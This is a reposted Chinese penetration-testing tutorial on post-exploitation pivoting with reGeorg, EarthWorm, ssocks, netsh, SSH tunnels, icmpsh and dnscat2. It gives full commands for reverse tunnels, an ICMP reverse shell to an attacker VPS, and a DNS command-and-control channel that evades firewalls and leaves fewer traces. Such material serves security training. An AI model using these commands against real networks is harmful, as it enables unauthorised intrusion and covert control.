[內網滲透]端口轉發工具大合集


0x00 簡介

本文主要介紹一下端口轉發工具。其中大部分內容均是從各位師傅那里轉載過來的,最后會有標注相應的原文地址。

文中工具下載地址:https://github.com/Brucetg/Pentest-tools

0x01 reGeorg結合proxychains代理鏈

1.1 簡介

在滲透測試中,當我們獲得了外網服務器(如web服務器,ftp服務器,mali服務器等等)的一定權限后發現這台服務器可以直接或者間接的訪問內網。此時滲透測試進入后滲透階段,一般情況下,內網中的其他機器是不允許外網機器訪問的。這時候,我們可以通過 端口轉發(隧道) 或將這台外網服務器設置成為 代理,使得我們自己的攻擊機可以直接訪問與操作內網中的其他機器。實現這一過程的手段就叫做內網轉發。

那又有很多人會問了,為什么不直接通過登陸服務器來對內網中其他機器進行滲透,而是通過內網轉發呢?

大部分時候我們獲取到的服務器的權限不夠,無法直接登錄。 如果直接登錄服務器中進行操作,我們需要上傳工具進行很多操作,如果服務器缺少對應的環境變量或者組件,會導致滲透受阻。 而且遠程登錄會留下比較明顯的痕跡 ,因此內網轉發是我們最好的選擇,在本地進行操作是最方便的。

reGeory適用於公網服務器只開放了80端口的情況。

reGeorg是用python寫的利用Web進行代理的工具,流量只通過http傳輸,也就是http隧道。

1.2 使用方法

現在有這么一個環境,我們獲取到了位於公網Web服務器的權限,或者我們擁有可以往公網Web服務器web目錄下上傳任何文件的權限,但是該服務器開啟了防火牆,只開放了80端口。內網中存在另外一台主機,這里假設內網存在一台Web服務器。然后,我們現在要將公網Web服務器設置為代理,通過公網服務器的80端口,訪問和探測內網Web服務器的信息。

根據公網服務器網站是哪種腳本類型上傳哪種類型的腳本,這里我搭建的是php環境,所以上傳php腳本

然后,我們在瀏覽器訪問我們上傳的 php 腳本,上傳路徑我們一定得知道,這里我直接上傳到網站根目錄了。如果看到下面的Georg says, 'All seems fine' 表示一切正常!

然后我們在攻擊機上執行如下語句:

python reGeorgSocksProxy.py -p 1080 -u http://100.100.10.12/tunnel.nosocket.php  
#表示本地1080端口的流量都轉發給指定的那個url

vim /etc/proxychains.conf
socks5 127.0.0.1 1080 
#配置proxychains代理鏈的配置文件,將代理設置成本機的1080端口

proxychains curl 192.168.10.19
#然后命令前面加上`proxychains`即可

所以我們流量的走向是: 流量->本地1080端口->web服務器的80端口(通過我們上傳的php文件進行流量轉發)->內網服務器->web服務器的80端口->本地1080端口

如圖,可以看到我們已經可以訪問內網的Web服務器。那么,我們就可以進一步滲透了!

這里需要主要,使用nmap程序時應該注意的點:

#不能使用nmap默認的掃描方式,不能使用-A -T4參數
proxychains nmap -Pn -sT -p 1-10000 -v 192.168.10.19

0x02 lcx端口轉發

以前自己有總結過,直接放鏈接了:

https://www.cnblogs.com/-mo-/p/11537339.html

0x03 EarthWorm結合proxychains代理鏈

3.1 簡介

EW 是一套便攜式的網絡穿透工具,具有 SOCKS5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。工具包中提供了多種可執行文件,以適用
不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用,跨平台,任何平台都可以輕松使用!

3.2 使用方法

現在有這么一個環境,我們獲取到了位於公網Web服務器的權限,內網中存在另外一台主機,這里假設內網存在一台Web服務器。然后,我們現在要將公網Web服務器設置為代理,訪問和探測內網Web服務器的信息。

不管是linux還是windows系統,Earthworm的包都是一個,如圖上面。直接進入包里面,選擇對應的程序即可執行

3.3 EW正向代理

Web服務器(被控制的主機)的設置:

如果是Linux系統
./ew_for_linux64 -s ssocksd -l 1080  #監聽本地的1080端口
 
如果是Windows系統
ew_for_Win.exe -s ssocksd -l 1080   #監聽本地的1080端口

攻擊擊的設置:

#Linux系統
#配置proxychains代理鏈的配置文件,將代理設置成100.100.10.12的1080端口
vim /etc/proxychains.conf
socks5 100.100.10.12 1080
#通過代理去訪問內網主機
proxychains curl 192.168.10.19

#Windows系統
#瀏覽器中設置代理為 100.100.10.12 的1080端口,或者利用 Proxifier、sockscap64 設置全局代理

3.4 EW反向代理

Web服務器(被控制的主機)的設置:

#Linux系統:
./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888
#將本機的流量全部轉發到100.100.10.13的8888端口
 
#Windows系統:
ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888
#將本機的流量全部轉發到100.100.10.13的8888端口

攻擊擊的設置:

#Linux系統
./ew_for_linux64 -s rcsocks -l 1080 -e 8888  
#將本機的8888端口的流量都轉發給1080端口,這里8888端口只是用於傳輸流量

#配置proxychains代理鏈的配置文件,將代理設置成127.0.0.1的1080端口
vim /etc/proxychains.conf
socks5 127.0.0.1 1080 
#通過代理去訪問內網主機
proxychains curl 192.168.10.19
#Windows系統
ew_for_Win.exe -s rcsocks -l 1080 -e 8888   
#將本機的8888端口的流量都轉發給1080端口,這里8888端口只是用於傳輸流量

瀏覽器中設置代理為 100.100.10.12的1080端口,或者利用 Proxifier、sockscap64 設置全局代理

0x04 Ssocks正向代理(Linux)

4.1 簡介

Ssocks是Linux下一款端口轉發的工具,而proxychains代理鏈是Linux下一款代理設置工具。由於Ssocks不穩定,所以不建議使用。

現在有這么一個環境,我們獲取到了位於公網Web服務器的shell,該web服務器是Linux系統,內網中存在另外一台主機,這里假設內網存在一台Web服務器。然后,我們現在要將公網Web服務器設置為代理,訪問和探測內網Web服務器的信息。

首先,我們的主機和公網的Web服務器都得安裝上Ssocks。

安裝Ssocks的話,直接安裝包安裝,軟件會被安裝在 /usr/local/bin目錄下,所以我們得去該目錄執行命令。

4.2 正向代理

Web服務器(被控制的主機)的操作:

./rssocks -vv -s 100.100.10.13:9999   
#接收100.100.10.13的9999端口的流量

攻擊機的操作:

#配置proxychains代理鏈的配置文件,將代理設置成socks5 127.0.0.1 的8080端口
vim /etc/proxychains.conf
socks5 127.0.0.1 8080
#然后將本地的1080端口的流量轉發到9999端口
./rcsocks -l 1080 -p 9999 -vv

#通過代理去訪問內網主機
proxychains curl 192.168.10.19

0x05 Netsh實現端口轉發

5.1 簡介

Netsh 是Windows自帶的命令行腳本工具,它可以建立端口映射。

現在有這么一個環境,內網中有一台Web服務器,但是我們處於公網,所以無法訪問該服務器。於是,我們可以在中間Web服務器上利用Netsh實現一個端口映射,只要我們訪問中間Web服務器公網地址的指定端口,就相當於我們訪問內網Web服務器的80端口。

5.2 使用方法

Web服務器(被控制的主機)的配置

netsh interface portproxy add v4tov4 listenaddress=100.100.10.11 listenport=8080 connectaddress=192.168.10.19 connectport=80 
#新建一個端口映射,將100.100.10.11的8080端口和192.168.10.19的80端口做個映射

netsh interface portproxy show all  
#查看端口映射
netsh interface portproxy delete v4tov4 listenaddress=100.100.10.11 listenport=8080 
#刪除端口映射

那么,我們通過訪問Web服務器的公網地址的8080端口就可以訪問內網中的Web服務器了。

5.3 Netsh實現SSH到內網主機(遠程端口轉發)

現在我們有這么一個環境,我們獲得了公網服務器的權限,並且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。

於是,我們還可以利用windows自帶的Netsh來進行22端口的轉發。

在公網windows服務器上的操作:

netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=2222 connectaddress=192.168.10.129 connectport=22   
#監聽100.100.10.14的2222端口,映射到192.168.10.129 的22端口上

所以,我們ssh連接到公網服務器的2222端口即可

5.4 Netsh實現3389到內網主機(遠程端口轉發)

現在我們有這么一個環境,我們獲得了公網服務器的權限,並且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。

於是,我們還可以利用Windows自帶的Netsh來進行3389端口的映射。
在公網windows服務器上的操作:

netsh interface portproxy add v4tov4 listenaddress=100.100.10.14 listenport=3340 connectaddress=192.168.10.152 connectport=3389

於是,我們遠程3389連接公網服務器100.100.10.14的3340端口

5.5 Netsh實現本地端口轉發

現在我們有這么一個環境,我們獲得了公網服務器的權限,並且獲得了該服務器的賬號密碼。
該服務器的3389端口也開放着,但是只對內開放,所以我們現在就需要做本地端口映射,將3389端口的流量映射到其他端口。

該服務器的操作:

netsh interface portproxy add v4tov4 listenaddress=192.168.10.15 listenport=13389 connectaddress=192.168.10.15 connectport=3389

只需要遠程連接該主機的13389端口即可:

0x06 ssh隧道代理轉發

6.1 簡介

ssh有三個強大的端口轉發命令,分別是本地轉發,遠程轉發,動態轉發。

本地訪問127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port2:127.0.0.1:port1 user@host    #本地轉發

訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #遠程轉發

可以將dmz_host的hostport端口通過remote_ip轉發到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,監聽本地port

可以將dmz_host的hostport端口轉發到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用於內網穿透防火牆限制之類

socket代理:

ssh -qTfnN -D port remotehost

6.2 參數詳解

-C Enable compression 壓縮數據傳輸
-q Quiet mode. 安靜模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台運行,並推薦加上 -n 參數
-N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了
-L port:host:hostport 將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport
-R port:host:hostport 將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport
-D port 指定一個本地機器 “動態的’’ 應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS協議, 將充當SOCKS服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發.
-g port 允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接

6.3 使用方法

1.ssh本地轉發
遠程管理服務器上的mysql,mysql不能直接root遠程登陸。這時候就可以通過本地轉發,通過ssh將服務器的3306端口轉發到1234端口。

ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

2.ssh遠程轉發

內網的服務器,外網不能直接訪問,使用遠程轉發,將內外的服務器端口轉發到外網端口。這時候訪問外網的端口,就訪問到了內網的端口。

ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142


現在在192.168.153.142訪問127.0.0.1:81就是訪問內網的端口。

  1. ssh動態轉發socks代理

把遠程主機設置成代理,來代理訪問不能訪問的資源。在本地機器上分配了一個監聽端口,一旦這個端口上有了連接,該連接就經過ssh隧道轉發出去,根據應用程序的協議可以判斷出遠程主機將和哪里連接。

ssh -qTfnN -D 1080  root@45.32.31.121


0x07 ICMP隧道代理轉發

7.1 簡介

ICMP隧道是通過將任意數據注入發送到遠程計算機的回送數據包來工作的,要判斷是否使用ICMP隧道,我們只需要關注一件事:可以ping通一個外部服務器。如果能到達外部網絡,那么很有可能可以建立一個icmp隧道,缺點是需要root/administrator權限

7.2 使用方法

icmpsh

具有公網ip的vps上:

git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 公網ip地址 內網目標機器ip

目標機器:

icmpsh.exe -t 公網ip地址 -d 500 -b 30 -s 128

就會在具有公網ip的主機上收到一個cmd shell

0x08 DNS隧道

8.1 簡介

不論對出站流量采取多么嚴格的訪問控制,你可能都要允許至少對一個服務器的 DNS 請求。對手就可以利用這個防火牆上的“大洞”來偷運數據,並且建立一個非常難以限制的隱蔽命令控制信道。

8.2 使用方法

Dnscat2

github項目地址:https://github.com/iagox86/dnscat2

Dnscat2通過建立C&C通道遞歸DNS查詢。此工具不需要root/administrator權限(在Windows和Linux上都可以使用)。他還支持端口轉發

Server端:

ruby ./dnscat2.rb tunneldomain.com

Client端:

./dnscat2 tunneldomain.com

收到Server端的連接后,可以使用windows命令查看活動會話:

dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]

要啟動端口轉發,請選擇一個命令會話session -i:

dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1>

使用 listen [lhost:]lport rhost:rport 命令轉發端口:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

這將綁定靶機上的8080端口,並將所有鏈接轉發到10.0.0.1:80上。

具體參考:通過DNS協議繞過防火牆

0x09 參考鏈接

淺談內網端口轉發
通過DNS協議繞過防火牆
https://www.cnblogs.com/bmjoker/p/10264148.html
https://blog.csdn.net/qq_36119192/article/details/84568266


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM